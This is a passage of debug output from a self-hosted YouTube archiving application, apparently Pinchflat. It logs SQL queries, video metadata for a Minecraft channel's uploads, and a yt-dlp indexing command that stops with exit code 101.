("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "9c922ee5-f499-44c6-8fc4-1aca86be80ec", "GxN99c_ujUc", false, "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, [], 901, false, 17, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, false, 98, ~U[2026-05-17 17:00:17Z], ~U[2026-06-02 23:43:26Z], ~U[2026-06-02 23:43:26Z], "Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "GxN99c_ujUc", "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, 901, false, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, ~U[2026-05-17 17:00:17Z]] 19:43:26.686 [debug] QUERY OK source="sources" db=0.1ms idle=122.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:26.687 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:26.687 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137628] 19:43:26.687 [debug] Current batch of media processed. Will check again in 1000ms 19:43:27.688 [debug] Current batch of media processed. Will check again in 1000ms 19:43:28.689 [debug] Current batch of media processed. Will check again in 1000ms 19:43:29.690 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 924, "filename" => "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", "id" => "cVAdHzaBmWQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cVAdHzaBmWQ", "playlist_index" => 18, "timestamp" => 1778950850, "title" => "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "upload_date" => "20260516"} 19:43:29.690 [debug] QUERY OK source="sources" db=0.2ms idle=1411.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:29.691 [debug] QUERY OK source="sources" db=0.2ms idle=1411.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:29.692 [debug] QUERY OK source="media_items" db=1.1ms idle=1412.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 17:00:50Z], 31] 19:43:29.693 [debug] QUERY OK source="media_items" db=0.4ms idle=1127.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "3c5a1052-69fe-4628-958d-91d07ffcb107", "cVAdHzaBmWQ", false, "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, [], 924, false, 18, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, false, 98, ~U[2026-05-16 17:00:50Z], ~U[2026-06-02 23:43:29Z], ~U[2026-06-02 23:43:29Z], "Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "cVAdHzaBmWQ", "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, 924, false, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, ~U[2026-05-16 17:00:50Z]] 19:43:29.693 [debug] QUERY OK source="sources" db=0.1ms idle=126.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:29.694 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:29.694 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137416] 19:43:29.694 [debug] Current batch of media processed. Will check again in 1000ms 19:43:30.695 [debug] Current batch of media processed. Will check again in 1000ms 19:43:31.696 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1155, "filename" => "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", "id" => "cr__CZe6qtI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cr__CZe6qtI", "playlist_index" => 19, "timestamp" => 1778864448, "title" => "I Cheated With SUNMAN In Minecraft Build Battle!", "upload_date" => "20260515"} 19:43:31.697 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=417.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:31.698 [debug] QUERY OK source="sources" db=0.3ms idle=418.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:31.701 [debug] QUERY OK source="media_items" db=3.1ms idle=418.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 17:00:48Z], 31] 19:43:31.702 [debug] QUERY OK source="media_items" db=0.4ms idle=422.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "88047c7e-24dc-4f77-8719-701c84eb05a8", "cr__CZe6qtI", false, "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, [], 1155, false, 19, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, false, 98, ~U[2026-05-15 17:00:48Z], ~U[2026-06-02 23:43:31Z], ~U[2026-06-02 23:43:31Z], "Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "cr__CZe6qtI", "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, 1155, false, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, ~U[2026-05-15 17:00:48Z]] 19:43:31.703 [debug] QUERY OK source="sources" db=0.1ms idle=132.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:31.703 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:31.703 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137202] 19:43:31.704 [debug] Current batch of media processed. Will check again in 1000ms 19:43:32.704 [debug] Current batch of media processed. Will check again in 1000ms 19:43:33.705 [debug] Current batch of media processed. Will check again in 1000ms 19:43:34.706 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1096, "filename" => "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", "id" => "wsxfboCOEqc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wsxfboCOEqc", "playlist_index" => 20, "timestamp" => 1778778081, "title" => "I Pranked My Friends With CRABTANIC in Minecraft!", "upload_date" => "20260514"} 19:43:34.708 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1427.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:34.709 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1429.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:34.712 [debug] QUERY OK source="media_items" db=3.0ms idle=1430.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-14 17:01:21Z], 31] 19:43:34.714 [debug] QUERY OK source="media_items" db=0.8ms idle=1140.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "afe36305-ea9e-472c-b250-657d05c92ffb", "wsxfboCOEqc", false, "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, [], 1096, false, 20, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, false, 98, ~U[2026-05-14 17:01:21Z], ~U[2026-06-02 23:43:34Z], ~U[2026-06-02 23:43:34Z], "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "wsxfboCOEqc", "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, 1096, false, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, ~U[2026-05-14 17:01:21Z]] 19:43:34.714 [debug] QUERY OK source="sources" db=0.3ms idle=138.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:34.714 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:34.715 [debug] QUERY OK source="media_items" db=0.3ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136930] 19:43:34.715 [debug] Current batch of media processed. Will check again in 1000ms 19:43:35.716 [debug] Current batch of media processed. Will check again in 1000ms 19:43:36.717 [debug] Current batch of media processed. Will check again in 1000ms 19:43:36.994 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mongo-mc --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/d5/f8/d5f8574e895e62c655072f97517aabd0859eb8c50e29f2e9fc9ca2845bcd5d38.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d8/7d/d87db21db16ba573ee6027740f773c5c7ef1934adc45f638c59dc3ef1bc39891.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:43:36.995 [debug] Gracefully stopping file follower 19:43:36.995 [debug] QUERY OK source="sources" db=0.1ms idle=716.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:36.996 [debug] QUERY OK source="sources" db=0.1ms idle=716.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:36.997 [debug] QUERY OK source="media_items" db=1.2ms idle=716.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-02 17:00:06Z], 31] 19:43:36.998 [debug] QUERY OK source="media_items" db=0.5ms idle=718.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "822028c3-3e0f-4aed-812e-4486b12d9cd1", "tRYboGBQZcs", false, "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, [], 1205, false, 1, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, false, 98, ~U[2026-06-02 17:00:06Z], ~U[2026-06-02 23:43:36Z], ~U[2026-06-02 23:43:36Z], "Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA 